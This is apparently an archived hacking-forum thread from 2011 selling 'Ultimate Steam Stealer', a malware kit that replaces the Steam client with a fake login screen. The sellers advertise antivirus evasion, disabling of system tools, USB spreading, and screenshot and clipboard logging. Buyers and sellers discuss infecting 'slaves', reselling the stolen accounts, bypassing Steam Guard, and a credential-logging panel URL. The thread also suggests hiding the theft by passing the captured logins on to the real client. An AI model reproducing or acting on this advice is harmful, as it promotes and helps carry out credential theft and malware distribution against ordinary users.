v1.0 (Updated 29th August 2011)

Intro

Welcome to the Official Ultimate Steam Stealer (USS) sales thread.

Ultimate Steam Stealer is currently the most advanced stealer of its kind.

Since this is a specialized stealer, we can ensure that you will get the best experience and quality out of your steam stealing.

All customers who purchase will get free updates for life!

Feature Overview

Extremely Stable [?]

Game Finder - Lists the Victims Games! (Never seen before) [?]

Looks and feels EXACTLY like Steam for the victim! [?]

Fully Undetectable (FUD) - Cannot be detected by Antivirus! [?]

Replace Steam.exe - Replaces the real Steam.exe with the infected one [?]

Delete Client.blob - Deletes the real ClientRegistry.blob [?]

Encrypt Info - This is default and is always true. These encrypts all the file information [?]

Block AV Sites - Blocks all online scanners sites that submit samples [?]

Anties - Kills the a predetermined list of hacking tools [?]

Add to Start Up - Adds infected Steam.exe to start up [?]

Disablers - Disables Regedit, Task manager ect. Do not try on yourself! We offer no support for you if you do! [?]

USB spread - Spreads over to all USB drives! [?]

Screen Shot Logger - Takes a screen shot of what the slave sees [?]

Clipboard logger - Gets whatever is in the clipboard and sends it to you [?]

Internal stub - Uses the stub built into the application [?]

External stub - Uses a stub that has been given to you by a member of staff [?]

Server name - Lets you chose the name of the server. [?]

Blizzard - August 29, 2011, 4:16 am

Vouch for him. Very legit and great

DeMoNi - August 29, 2011, 4:17 am

It's seems awesome !!!

Megan, will customer of London Worm lifetime will have this for free?

danbirk - August 29, 2011, 4:17 am

Mega, you should include this one in your London AIO.

None the less, this looks awesome.

I might consider buying it :D

Zetas - August 29, 2011, 4:20 am

This will be sold separately to London AIO. No vouch copies will be given.

Megan Foxxx - August 29, 2011, 4:21 am

London AIO has a steam stealer however its less advance
Its separate to London AIO, London AIO will be out soon

London AIO has a less advance version, it will only steal some info, this steals everything!

Zetas - August 29, 2011, 4:23 am

One of the main features is that it has a game grabber, telling you what games it has in the Steam account.

I think that this will save a LOT of hassle when selling/using.

christiano - August 29, 2011, 4:26 am

Looks gr8....Best of luck with Sales!

Zetas - August 29, 2011, 4:28 am

Thank you christiano for the vouch!

WreckfullTM - August 29, 2011, 4:28 am

Vouch for +Krypton trusted user. Good luck with sales !

Fake. - August 29, 2011, 4:28 am

Hmm, looks very much to me like a fake legit program.

danbirk - August 29, 2011, 4:29 am

I might buy this, however, I think you; Megan, should include this in your London AIO, it would make it way better.. :)

Megan Foxxx - August 29, 2011, 4:30 am

London AIO contains a very basic one, this is way more advance

I know, you just told me in your post before.

Im just saying, it would be better to have this in the London AIO aswell. :)

Or make it so London AIO owners can buy this for an additional 5\$ or something. :D

Like, they could upgrade the current steam stealer.

(Aug 29, 2011 04:28 AM)Fake™ Wrote: [\[CITE\]](#) Hmm, looks very much to me like a fake program.

Its not a fake program, as it has a function.

A fake program is used to be fool people. And then infecting them with a backdoor

This has a function to steal account, it just looks like steam.

-moon. - August 29, 2011, 4:40 am

Wow, This looks more advanced then a lot of stealers, And I have been looking for something like this instead of using the shitty villain/steam bruteforcer wordlist etc. I plan on buying this when I get the money.

Zetas - August 29, 2011, 4:42 am

Thanks -moon! It's just more advanced in Steam Stealing. :)

Exiled™ - August 29, 2011, 4:46 am

Vouch for OP ,the most legit seller on HF.

Cheers mate ?

Hitmaster - August 29, 2011, 4:50 am

Another great product from Meagan.Vouch for him.

btw. Do AIO customers get a discount?

This is a diffrent product to AIO, so no

However London AIO will be out in a few days!

danbirk - August 29, 2011, 4:52 am

I just sent you a PM Krypton.

Going to buy this now.

Zeon - August 29, 2011, 4:53 am

Hang on is this just a phisher or does it steal their steam username and password?

I LOVE RON PAUL - August 29, 2011, 4:55 am

Looks really interesting, but what about the email info? I mean you'll get a code via email to change your email or password right?

Megan Foxxx - August 29, 2011, 4:55 am

(Aug 29, 2011 04:53 AM)Zeon Wrote: [\[CITE\]](#) Hang on is this just a phisher or does it steal their steam username and password?

ATM a phisher, however on 1.1 it will take passwords to get past steam gaurd

It does steam there username and pass though

And a bit more

Zeon - August 29, 2011, 5:00 am

So it doesn't actually steal their password, just replaces their client with this?

Megan Foxxx - August 29, 2011, 5:01 am

Yes,

I am posting the server screen shots in a sec so you can see them

Zetas - August 29, 2011, 5:06 am

Extra image views from a slave added.

Falconw0w - August 29, 2011, 5:06 am

looks nice !!

Best of luck with sales guys !

Breakbeat Junkie - August 29, 2011, 5:09 am

Vouch. This is legit.

Good luck on your sales!

Lobster - August 29, 2011, 5:11 am

Nice GUI, I like your product looks legit. Don't know if it works but looks amazing :)

Good luck with sales!

Zetas - August 29, 2011, 5:12 am

Thanks guys. danbirk has just bought so we'll wait for his review.

danbirk - August 29, 2011, 5:55 am

Im about to buy some installs to test it out.

So that part ill review later today.

But already now, I can tell that this program is a mazing, the layout and GUI looks good.

Also, theres an explanation for every single feature so that you arent confused on what to have on and off.

Another thing, is the price, 15\$, its cheap, and defenetly worth it, no doubt about that.

Imagine how fast you can get back thoose 15\$ just by selling the steam accounts you get.

That was it for now.

Will be updating when I've bought some installs.

/danbirk.

Can anyone tell which one is real?

n0pcode - August 29, 2011, 9:50 am

"Yep it's encrypted

ATM it's base64 however on 1.1 it's going to be much stronger."

- <https://hackforums.net/showthread.php?tid=1660870&pid=15183094#pid15183094>

Base64 is encoding, not encryption - your email information may aswell be in plain text, prepare for your emails to be hacked if you buy this.

Simple solution is instead of email, get the PHP side to email it, eg.:

Code

`http://panel.com/log.php?email=kript0x@hf.com?username=mysteamuser?password=yourdadisyournum`

Megan Foxxx - August 29, 2011, 9:53 am

For 1.1 its encrypted with an encrypted key

It going to be auto updated tomorrow morning :D

And a PHP panel is coming soon

@your idea - Its very good, however PHP mail send usually goes into spam folder.

Only if 500+ are sent per hour from the same SMTP server, which is unlikely when you're at this small a scale.

Any screenshots of example logs?

Im a noob at this and have a noob question: How do you get past steam gaurd?

Megan Foxxx - August 29, 2011, 10:18 am

He is asleep atm, as he is in Australia
Pm me for anything, just not paypal payments

(Aug 29, 2011 10:18 AM)Triqxz Wrote: [\[CITE\]](#) Im a noob at this and have a noob question: How do you get past steam gaurd?

There will be password stealers that will get the email, and therefore the key to bypass it. These will be released in a few days.

I LOVE RON PAUL - August 29, 2011, 10:37 am

Oh great once you get this thing going with the email and all I will buy it. Looks fucking awesome :)

Megan Foxxx - August 29, 2011, 10:40 am

With 1.1 its encrypted with DES with a key which is also encrypted.
The key cannot be grabbed via reflector

However i may add that function

Thanks
Megan

And the key is 'encrypted' with? Please don't say Base64.

Megan Foxxx - August 29, 2011, 11:49 am

No not base 64

A custom encryption which can't be read in relefactor

ISO - August 29, 2011, 1:00 pm

Nice product , The game grabber seem amazing ,
Good lucks for sales man !

boostedmz3 - August 29, 2011, 2:21 pm

Have you purchased it?

If so, log in.

Once login test the email function. Once that has been tested you can change the settings

Enabled some of the settings that tickle your fancy

Chose a server name

And press compile.

Once the server is built, run it to check its working. Then send it to your slaves / Spread it.

Zetas - August 30, 2011, 3:36 am

No, he has not purchased it, but Megan's information is correct. Still selling!

Hitmaster - August 30, 2011, 4:17 am

Great stealer, I might buy when I get some money.

Vb.net on net fram 2 for the server and 4 for the builder

Zetas - August 31, 2011, 3:12 am

If your card got denied. That's because it was invalid.

Megan Foxxx - August 31, 2011, 7:11 am

We are still trying out paypro,

If one person would like to try it we would give you a 10% discount coupon, just for trying.

First come first serve.

Thank you
Megan

jangalang - August 31, 2011, 7:36 am

I would recommend trying to use plimus , as paypro is very picky about who they allow to pay. I had problems with them when buying blackshades and all my payment info is 100% legit , Krypton can vouch for that. It's almost random who they accept. Just a suggestion as I know you will have problems with paypro.

Megan Foxxx - August 31, 2011, 7:39 am

I have used plimus in the past and didnt like them
Paypro support you, plimus just used you.

We will try them out, and if not there are other payment processors out there.

Flightofstairs - August 31, 2011, 8:43 am

Does it work as soon as it's installed or does it req them restarting comp/steam?

Megan Foxxx - August 31, 2011, 9:16 am

It requires them to enter there password
Like the blackshades steam stealer

jangalang - August 31, 2011, 10:33 am

What if their password is saved on their client? Does this USS automatically come up when they get on steam? And what if they are constantly running steam like I do? Does this just POP up at some point? And how is this different from the blackshades steam stealer?

Megan Foxxx - August 31, 2011, 11:06 am

(Aug 31, 2011 10:33 AM)jangalang Wrote: [\[CITE\]](#) What if their password is saved on their client? Does this USS automatically come up when they get on steam? Deletes the clientreg.blob

Once ran with correct options when they run there steam shortcut instead of real steam, uss will run.

If they keep on running it it will do nothing unless they log back in.

It's more advance than blackshades, I'll do a video tomorrow, or get some one to do a video.

THC22 - August 31, 2011, 11:14 am

Sweet man , looks great. Lemme know if you need any beta testers or w/e , I will gladly help. I will buy this as soon as i get a few more steams sold and get my paypal out of the neg (thanks to a scammer ofc...)

Master Yoda - August 31, 2011, 2:28 pm

Quick question, the accounts I get from this, can I sell them? Whats the purpose of this? Seriously considering buying!

Megan Foxxx - August 31, 2011, 2:30 pm

Yes you can sell them.

Take people's ste accounts

I can offer a discount if you want to use paypro

And I can match it for lr

uberhaxornova - August 31, 2011, 2:31 pm

Krypton i know you dont have much time for this but can you PM me when the update is ready. I'll buy it once the steam gaurd update is inputted into the program

You should move the legit Steam.exe to AppData or something, then once they login to the fake one, use command-line parameters to login them into the legit steam after it is stolen, using:

-login %u %p - This logs into Steam with the specified Username and Password combination.
Replace %u with the username, and %p with the password you want to login with (Steam must be

off for this to work.)

I'll look into this, seems like a really good idea :)

Flightofstairs - September 3, 2011, 7:53 pm

What is this meganstoy.exe that it dropped onto my desktop?

Megan Foxxx - September 4, 2011, 1:48 am

That's the stub,

I forgot to pit the delete command in

Just ignore it or delete it. It's up to you

This has been added for 1.2

Its just going under beta testing

And im starting to add a few more functions

Such as

PHP mailer

PHP panel

Steam gaurd bypass

Bug fix

ISO - September 4, 2011, 3:51 pm

You should add a binder and an icon changer.

Once updating gets over ill buy it :) looks nice :D

Megan Foxxx - September 5, 2011, 7:53 am

1.2 wont disappoint, also the price may rise a bit for 1.2

It could go up to \$25 per account, however \$20 is more likely.

1.2 instead of pretending to log into a fake client, it will log into the real steam, so the slave doesnt have a clue that the fake steam (USS output) exits.

Also USB spread has just been completed!

Stub size down from 1.75mb to 600kb

Icon down the bottom now enabled

Note: Yes that is the real steam icon on the USS output

uberhaxornova - September 5, 2011, 2:37 pm

So is the steam gayurd update out yet? Gauranteed to steal steams efficiently and easily? Pm me

Megan Foxxx - September 5, 2011, 2:43 pm

I've delayed it to 1.3

1.2 acts as a login screen. Once entered user and pass in fake steam you will receive an email.

They will then continue to log in to the real steam. Not knowing what happened.

1.2 is still super effective, just not yet to bypass steam guard.

Just a suggestion,

For now when they get the information for the Steam shit, they should get the information, then
Login and click " Remember Me " then login then logout, disconnect themselves from the internet
then login offline then change the email.

Should work like that, I saw a video but I don't remember the link.

Froakie - September 5, 2011, 6:13 pm

Waiting for its version 1.3 now :)

still short :)

if i buy now. will i also get updates like version 1.3??

Free updates.

Always.

Price may rise soon though. However if you already have it you get the updates for free.

Zetas - September 6, 2011, 2:04 am

As always there will be free updates for lifetime. Get this now!

Froakie - September 6, 2011, 3:52 am

i will buy it. payproglobal.com doesnt work for me can i manually pay via PP

Zetas - September 6, 2011, 3:53 am

Just click the buy button and fill out the details!

Rizzle - September 6, 2011, 3:55 am

Looks nice :D

will think about it once i get over with my stock

Good luck with your sales :)

Froakie - September 6, 2011, 3:56 am

payproglobal.com doesnot work for me ok let me try once more. i already tried though

Zetas - September 6, 2011, 4:00 am

Ok, well it only accepts legitimate customers. :3

Froakie - September 6, 2011, 4:02 am

We're sorry, we do not support free email domains for this product. Now??

i tried to buy BS stealer with it but it required a CC which i dont have. so i paid via AP

Zetas - September 6, 2011, 4:03 am

Ok, we'll look for an alternative. In the meantime PM me and we'll sort it out. :)

Megan Foxxx - September 6, 2011, 4:09 am

I accept ap

We will change the payment proceerror now

Froakie - September 6, 2011, 4:13 am

Bought it Already bro :)

still a little short

how will i get it??

Zetas - September 6, 2011, 4:20 am

Contacted you back ShiGun. Things are a little hecktic at the moment but once I get a system in place, things should be easy.

Froakie - September 6, 2011, 4:21 am

No Problems.

still short!! still it is short!!

Zetas - September 6, 2011, 4:31 am

Thanks for the purchase ShiGun! I've contacted you. :)

Hitachi - September 6, 2011, 8:50 am

Vouch! I know you are beasts with everything you do! :P
may buy

wowsoasian - September 6, 2011, 9:29 pm

how do you use it do you put a manual in it

Zetas - September 7, 2011, 2:26 am

It's self explanatory. Works like any other stealer except for Steam.

Megan Foxxx - September 7, 2011, 6:00 am

(Sep 6, 2011 09:29 PM)wowsoasian Wrote: [\[CITE\]](#) how do you use it do you put a manual in it
There is an inbuilt manual and FAQs

<https://gyazo.com/2de8bb764a27841e98e9c6a04323dc8e>

They are written on run time. And updated regularly

?P?rat?™ - September 7, 2011, 7:24 am

I want to buy it, i can pay with paypal, and i have already downloaded the HWID grabber.
Can you tell me how to pay? (in PM plz, thanks)

Megan Foxxx - September 7, 2011, 7:36 am

The button on the main thread
Will lead you to the payment processor

magiC* - September 7, 2011, 12:56 pm

This steals steam password with username right, but if there's Steam Guard on then you need
e-mail stealer? Or its inbuilt?

Megan Foxxx - September 7, 2011, 1:02 pm

It steals steam user and pass
And will soon steal email user and pass

Feelipe - September 7, 2011, 4:04 pm

when you open the Stealer to close automatically Steam.exe

I think it's a very good idea

magiC* - September 8, 2011, 7:55 am

I will probably 99% buy when you will add e-mail stealing fuction, give me some pm when its added.

Just saw it. It's really a good option for a stealer ... I will purchase one if you are sure that you will update it within 7 days

I'm so tired with BShades. It's so crazy for a stealer with dead hosting

Megan Foxxx - September 11, 2011, 5:13 am

It will only have browser stealers

And it should be up soon

However krypton isnt here to activate the auto update

Flightofstairs - September 11, 2011, 10:36 am

Soo 1.2 it should finally work? Then not just sit and do nothing?

1.2 Works fine

However +Krypton seems to be gone for a few days, dont know why...

He should do the auto update soon, or ill transfer the server over to mine

+Krypton is having ISP problems,

He will update the server and auto update as soon as he gets on which should be in a few hours

Megan

Megan Foxxx - September 13, 2011, 1:55 am

Shouldnt be long now, Sorry for the delay however it will up and running again in no time at all!

BlowFish. - September 13, 2011, 11:00 pm

Can I get some discount?

Maybe like 13\$? I only have 13\$ at the moment..

Why only browser stealers? We got many others ? Protected Storaged, FileZilla, Dial up (RDP, VPN) ...

Many things to steal .. :)

Hope it can get all ...

I bought a new pc, can you reset my hwid?

Regards

Megan Foxxx - September 16, 2011, 11:12 am

Sure

Pm me your hwid and I'll change it asap

As krypton has dissaperaed i am going to make a new thread soon

I have updated the HWID servers to one of my servers. Therefore everyone who has brought it will need to re download a new copy.

Sorry about this, however this update is good!

1.2 will be released in a few days when i have migrated the servers, and 1.3 (Steam Gaurd bypass) a few days after that

Thank you
